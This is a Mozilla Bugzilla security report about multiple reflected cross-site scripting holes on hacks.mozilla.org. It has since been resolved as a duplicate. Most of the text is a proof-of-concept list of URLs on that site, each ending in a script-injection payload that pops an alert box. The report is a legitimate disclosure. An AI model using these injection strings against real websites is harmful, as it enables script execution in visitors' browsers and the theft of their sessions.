702343 - Mozilla Hacks Multiple XSS

Status: RESOLVED DUPLICATE of bug 648655

(Developer Engagement :: Mozilla Hacks, task)

Description

[marius]

User Agent: Mozilla/5.0 (Windows NT 6.0; rv:8.0) Gecko/20100101 Firefox/8.0
Build ID: 20111104165243

Steps to reproduce:

Are just some of them! The site have more that 250 XSS variants ( javascript code uses eval() function )

TESTED ON IE9 ,OPERA11 AND Firefox 6 & 7 

see: http://i.imgur.com/1yGrJ.jpg  


Actual results:

POC: 



https://hacks.mozilla.org/category/performance/page/3/?"><script>alert(1)</script> 

https://hacks.mozilla.org/category/performance/by/comments/?"><script>alert(1)</script>

https://hacks.mozilla.org/category/performance/as/brief/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/category/performance/by/date/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/category/performance/as/title/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/category/firefox-4/page/5/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/author/jswisher/page/2/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/author/jswisher/as/brief/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/author/jswisher/by/date/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/2011/06/page/3/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/2011/06/by/date/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/category/demo/featured-demo/as/thumbnail/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/author/jay/page/2/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/2011/10/as/title/?"></script><script>alert(1)</script>

https://hacks.mozilla.org/2011/by/date/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/author/jay/?"><script>alert(1)</script>

https://hacks.mozilla.org/category/docs/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/2011/09/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/author/sheppy/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/category/featured/page/2/?'"--></style></script><script>alert(1)</script>

https://hacks.mozilla.org/category/dom/by/comments/?'"--></style></script><script>alert(1)</script>

Comment 2

[Will Kahn-Greene [:willkg] ET needinfo? me]

For bugs that are resolved, we remove the security flag. These haven't had their flag removed, so I'm removing it now.